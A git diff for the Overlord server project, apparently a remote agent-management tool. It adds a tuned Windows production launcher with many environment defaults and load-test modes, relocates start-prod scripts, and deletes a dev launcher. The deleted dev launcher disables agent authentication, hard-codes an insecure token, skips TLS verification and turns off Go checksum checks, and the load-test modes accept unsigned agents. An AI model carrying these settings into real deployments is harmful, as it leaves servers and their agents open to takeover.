@@ +@echo off +setlocal +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" +set "MODE=%~1" + +REM Tuned production launcher for small VPS targets. +REM Usage: +REM scripts\start-prod-tuned.bat +REM scripts\start-prod-tuned.bat loadtest +REM scripts\start-prod-tuned.bat loadtest-baseline +REM scripts\start-prod-tuned.bat loadtest-profile +REM +REM Optional env overrides before running: +REM PORT=5173 +REM HOST=0.0.0.0 +REM OVERLORD_AGENT_TOKEN=change-me +REM OVERLORD_USER=admin +REM OVERLORD_PASS=change-me +REM OVERLORD_TLS_OFFLOAD=false +REM OVERLORD_HEARTBEAT_INTERVAL_MS=30000 +REM OVERLORD_HEARTBEAT_SWEEP_TICK_MS=1000 +REM OVERLORD_CLIENT_DB_SYNC_MS=15000 +REM OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=100 +REM OVERLORD_EVENT_LOOP_SAMPLE_MS=100 +REM OVERLORD_EVENT_LOOP_HISTORY_SECONDS=60 +REM OVERLORD_DASHBOARD_DEBOUNCE_MS=1000 +REM OVERLORD_DASHBOARD_EVENT_FLUSH_MS=1000 +REM OVERLORD_DASHBOARD_EVENT_INLINE_LIMIT=20 +REM OVERLORD_OFFLINE_BATCH_SIZE=250 +REM OVERLORD_OFFLINE_BATCH_DELAY_MS=25 +REM OVERLORD_LOAD_TEST_PROFILE=realistic +REM OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB=true +REM OVERLORD_THUMBNAILS_DASHBOARD_ENABLED=false +REM MAX_WS_MESSAGE_BYTES_CLIENT=8388608 +REM MAX_WS_MESSAGE_BYTES_VIEWER=1048576 + +if not defined HOST set HOST=0.0.0.0 +if not defined PORT set PORT=5173 +if not defined LOG_LEVEL set LOG_LEVEL=info +if not defined NODE_ENV set NODE_ENV=production + +REM Small-host connection tuning. These are conservative for ~250 mostly-idle +REM agents on a 2 vCPU / 2 GB host. +if not defined OVERLORD_HEARTBEAT_INTERVAL_MS set OVERLORD_HEARTBEAT_INTERVAL_MS=30000 +if not defined OVERLORD_HEARTBEAT_SWEEP_TICK_MS set OVERLORD_HEARTBEAT_SWEEP_TICK_MS=1000 +if not defined OVERLORD_CLIENT_DB_SYNC_MS set OVERLORD_CLIENT_DB_SYNC_MS=15000 +if not defined OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE set OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=100 +if not defined OVERLORD_EVENT_LOOP_SAMPLE_MS set OVERLORD_EVENT_LOOP_SAMPLE_MS=100 +if not defined OVERLORD_EVENT_LOOP_HISTORY_SECONDS set OVERLORD_EVENT_LOOP_HISTORY_SECONDS=60 +if not defined OVERLORD_DASHBOARD_DEBOUNCE_MS set OVERLORD_DASHBOARD_DEBOUNCE_MS=1000 +if not defined OVERLORD_DASHBOARD_EVENT_FLUSH_MS set OVERLORD_DASHBOARD_EVENT_FLUSH_MS=1000 +if not defined OVERLORD_DASHBOARD_EVENT_INLINE_LIMIT set OVERLORD_DASHBOARD_EVENT_INLINE_LIMIT=20 +if not defined OVERLORD_OFFLINE_BATCH_SIZE set OVERLORD_OFFLINE_BATCH_SIZE=250 +if not defined OVERLORD_OFFLINE_BATCH_DELAY_MS set OVERLORD_OFFLINE_BATCH_DELAY_MS=25 +if not defined OVERLORD_STALE_MS set OVERLORD_STALE_MS=120000 +if not defined OVERLORD_DISCONNECT_TIMEOUT_MS set OVERLORD_DISCONNECT_TIMEOUT_MS=10000 +if not defined PRUNE_BATCH set PRUNE_BATCH=250 +if not defined MAX_WS_MESSAGE_BYTES_CLIENT set MAX_WS_MESSAGE_BYTES_CLIENT=8388608 +if not defined MAX_WS_MESSAGE_BYTES_VIEWER set MAX_WS_MESSAGE_BYTES_VIEWER=1048576 +if not defined OVERLORD_WS_UPGRADE_RATE_WINDOW_MS set OVERLORD_WS_UPGRADE_RATE_WINDOW_MS=10000 +set OVERLORD_PROFILE_SOURCE_MODE=false + +REM Keep proxy trust disabled unless the deploy explicitly opts into it. +if not defined OVERLORD_TLS_OFFLOAD set OVERLORD_TLS_OFFLOAD=false +if not defined OVERLORD_TRUST_PROXY set OVERLORD_TRUST_PROXY=false +if not defined OVERLORD_TRUST_PROXY_HEADERS set OVERLORD_TRUST_PROXY_HEADERS=false +if not defined OVERLORD_AUTH_COOKIE_SECURE set OVERLORD_AUTH_COOKIE_SECURE=auto + +if /I "%MODE%"=="loadtest" ( + if not defined OVERLORD_AGENT_TOKEN ( + echo [error] loadtest mode requires OVERLORD_AGENT_TOKEN to be set. + echo Example: + echo set OVERLORD_AGENT_TOKEN=some-long-random-token + echo scripts\start-prod-tuned.bat loadtest + endlocal + exit /b 1 + ) + set OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS=true + if not defined OVERLORD_LOAD_TEST_PROFILE set OVERLORD_LOAD_TEST_PROFILE=realistic + if not defined OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS set OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS=false + if not defined OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB set OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB=true + if "%OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE%"=="100" set OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=500 + if not defined OVERLORD_WS_UPGRADE_RATE_MAX set OVERLORD_WS_UPGRADE_RATE_MAX=2000 + if not defined OVERLORD_THUMBNAILS_DASHBOARD_ENABLED set OVERLORD_THUMBNAILS_DASHBOARD_ENABLED=false +) else if /I "%MODE%"=="loadtest-profile" ( + if not defined OVERLORD_AGENT_TOKEN ( + echo [error] loadtest-profile mode requires OVERLORD_AGENT_TOKEN to be set. + echo Example: + echo set OVERLORD_AGENT_TOKEN=some-long-random-token + echo scripts\start-prod-tuned.bat loadtest-profile + endlocal + exit /b 1 + ) + set OVERLORD_PROFILE_SOURCE_MODE=true + set OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS=true + if not defined OVERLORD_LOAD_TEST_PROFILE set OVERLORD_LOAD_TEST_PROFILE=realistic + if not defined OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS set OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS=false + if not defined OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB set OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB=true + if "%OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE%"=="100" set OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=500 + if not defined OVERLORD_WS_UPGRADE_RATE_MAX set OVERLORD_WS_UPGRADE_RATE_MAX=2000 + if not defined OVERLORD_THUMBNAILS_DASHBOARD_ENABLED set OVERLORD_THUMBNAILS_DASHBOARD_ENABLED=false +) else if /I "%MODE%"=="loadtest-baseline" ( + if not defined OVERLORD_AGENT_TOKEN ( + echo [error] loadtest-baseline mode requires OVERLORD_AGENT_TOKEN to be set. + echo Example: + echo set OVERLORD_AGENT_TOKEN=some-long-random-token + echo scripts\start-prod-tuned.bat loadtest-baseline + endlocal + exit /b 1 + ) + set OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS=true + if not defined OVERLORD_LOAD_TEST_PROFILE set OVERLORD_LOAD_TEST_PROFILE=baseline + if not defined OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS set OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS=true + if not defined OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB set OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB=true + if "%OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE%"=="100" set OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=500 + if not defined OVERLORD_WS_UPGRADE_RATE_MAX set OVERLORD_WS_UPGRADE_RATE_MAX=2000 + if not defined OVERLORD_THUMBNAILS_DASHBOARD_ENABLED set OVERLORD_THUMBNAILS_DASHBOARD_ENABLED=false +) else ( + set OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS=false + if not defined OVERLORD_WS_UPGRADE_RATE_MAX set OVERLORD_WS_UPGRADE_RATE_MAX=30 +) + +echo === Overlord tuned production server === +echo HOST=%HOST% +echo PORT=%PORT% +echo NODE_ENV=%NODE_ENV% +echo LOG_LEVEL=%LOG_LEVEL% +echo OVERLORD_HEARTBEAT_INTERVAL_MS=%OVERLORD_HEARTBEAT_INTERVAL_MS% +echo OVERLORD_HEARTBEAT_SWEEP_TICK_MS=%OVERLORD_HEARTBEAT_SWEEP_TICK_MS% +echo OVERLORD_CLIENT_DB_SYNC_MS=%OVERLORD_CLIENT_DB_SYNC_MS% +echo OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE=%OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE% +echo OVERLORD_EVENT_LOOP_SAMPLE_MS=%OVERLORD_EVENT_LOOP_SAMPLE_MS% +echo OVERLORD_EVENT_LOOP_HISTORY_SECONDS=%OVERLORD_EVENT_LOOP_HISTORY_SECONDS% +echo OVERLORD_DASHBOARD_DEBOUNCE_MS=%OVERLORD_DASHBOARD_DEBOUNCE_MS% +echo OVERLORD_DASHBOARD_EVENT_FLUSH_MS=%OVERLORD_DASHBOARD_EVENT_FLUSH_MS% +echo OVERLORD_DASHBOARD_EVENT_INLINE_LIMIT=%OVERLORD_DASHBOARD_EVENT_INLINE_LIMIT% +echo OVERLORD_OFFLINE_BATCH_SIZE=%OVERLORD_OFFLINE_BATCH_SIZE% +echo OVERLORD_OFFLINE_BATCH_DELAY_MS=%OVERLORD_OFFLINE_BATCH_DELAY_MS% +echo MAX_WS_MESSAGE_BYTES_CLIENT=%MAX_WS_MESSAGE_BYTES_CLIENT% +echo MAX_WS_MESSAGE_BYTES_VIEWER=%MAX_WS_MESSAGE_BYTES_VIEWER% +echo OVERLORD_WS_UPGRADE_RATE_MAX=%OVERLORD_WS_UPGRADE_RATE_MAX% +echo OVERLORD_WS_UPGRADE_RATE_WINDOW_MS=%OVERLORD_WS_UPGRADE_RATE_WINDOW_MS% +echo OVERLORD_TLS_OFFLOAD=%OVERLORD_TLS_OFFLOAD% +echo OVERLORD_TRUST_PROXY=%OVERLORD_TRUST_PROXY% +echo OVERLORD_TRUST_PROXY_HEADERS=%OVERLORD_TRUST_PROXY_HEADERS% +echo OVERLORD_AUTH_COOKIE_SECURE=%OVERLORD_AUTH_COOKIE_SECURE% +echo OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS=%OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS% +echo OVERLORD_LOAD_TEST_PROFILE=%OVERLORD_LOAD_TEST_PROFILE% +echo OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS=%OVERLORD_LOAD_TEST_SKIP_SIDE_EFFECTS% +echo OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB=%OVERLORD_LOAD_TEST_DEFER_SYNTHETIC_DB% +echo OVERLORD_THUMBNAILS_DASHBOARD_ENABLED=%OVERLORD_THUMBNAILS_DASHBOARD_ENABLED% +echo OVERLORD_PROFILE_SOURCE_MODE=%OVERLORD_PROFILE_SOURCE_MODE% +echo. + +if /I "%OVERLORD_LOAD_TEST_ALLOW_UNSIGNED_AGENTS%"=="true" ( + echo [warning] Synthetic unsigned load-test agents are enabled. + echo [warning] Do not use this mode for public production traffic. + echo. +) + +pushd "%ROOT%Overlord-Server" +echo [build] installing deps... +call bun install +if errorlevel 1 goto :err + +if /I "%OVERLORD_PROFILE_SOURCE_MODE%"=="true" ( + echo [build] building server assets for source-profile mode... + call bun run build:css + if errorlevel 1 goto :err + call bun run vendor + if errorlevel 1 goto :err +) else ( + echo [build] building server assets and bundle... + call bun run build + if errorlevel 1 goto :err +) + +if /I "%OVERLORD_PROFILE_SOURCE_MODE%"=="true" ( + echo [build] skipping compiled executable so profiler keeps source function names. +) else ( + echo [build] compiling Windows production executable... + call bun run build:prod:win + if errorlevel 1 goto :err +) + +echo [build] copying Overlord-Client source for runtime builds... +robocopy "%ROOT%Overlord-Client" "%ROOT%Overlord-Server\dist\Overlord-Client" /E /XD build .git .vscode /NFL /NDL /NJH /NJS >nul +if errorlevel 8 goto :err + +set "OVERLORD_ROOT=%ROOT%Overlord-Server" +if /I "%OVERLORD_PROFILE_SOURCE_MODE%"=="true" ( + echo [server] starting source-profile server with Bun... + call bun src/index.ts +) else ( + echo [server] starting compiled production server... + call "%ROOT%Overlord-Server\dist\overlord-server.exe" +) +popd + +echo Server stopped. +endlocal +exit /b 0 + +:err +popd >nul 2>&1 +echo [error] Production start failed. +endlocal +exit /b 1 diff --git a/start-prod.bat b/scripts/start-prod.bat similarity index 92% rename from start-prod.bat rename to scripts/start-prod.bat index 681605d..33ef072 100644 --- a/start-prod.bat +++ b/scripts/start-prod.bat @@ -1,6 +1,7 @@ @echo off setlocal -set ROOT=%~dp0 +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" REM Simple production launcher for Overlord server. REM Builds the Tailwind CSS and server bundle, then runs the compiled executable. @@ -45,7 +46,7 @@ if defined PORT ( echo [server] starting on default port... ) echo [server] running compiled executable... -set OVERLORD_ROOT=%ROOT%Overlord-Server +set "OVERLORD_ROOT=%ROOT%Overlord-Server" call "%ROOT%Overlord-Server\dist\overlord-server.exe" popd diff --git a/start-prod.sh b/scripts/start-prod.sh similarity index 93% rename from start-prod.sh rename to scripts/start-prod.sh index 747e07b..bcd7292 100644 --- a/start-prod.sh +++ b/scripts/start-prod.sh @@ -1,6 +1,7 @@ #!/usr/bin/env bash set -euo pipefail -ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" SERVER_DIR="$ROOT/Overlord-Server" BUN_BIN="${BUN_BIN:-bun}" diff --git a/start-dev.bat b/start-dev.bat deleted file mode 100644 index b32ee4f..0000000 --- a/start-dev.bat +++ /dev/null @@ -1,35 +0,0 @@ -@echo off -setlocal -set ROOT=%~dp0 - -if not defined NO_PRINTING set NO_PRINTING=false - - -echo === Ensuring server deps (Bun) === -pushd "%ROOT%Overlord-Server" -echo [server] bun install... -call bun install -popd - -echo === Ensuring client dependencies (Go) === -pushd "%ROOT%Overlord-Client" -if exist go.mod ( - echo [client] go mod tidy... - go mod tidy -) -popd - -echo === Launching windows === -rem Bind server to all interfaces for remote access -set HOST=0.0.0.0 -set PORT=5173 -set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only -set OVERLORD_DISABLE_AGENT_AUTH=true -set LOG_LEVEL=debug - -start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start" -timeout /t 3 /nobreak >nul -start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent" - -echo Done. Terminals stay open (/k) for logs. -endlocal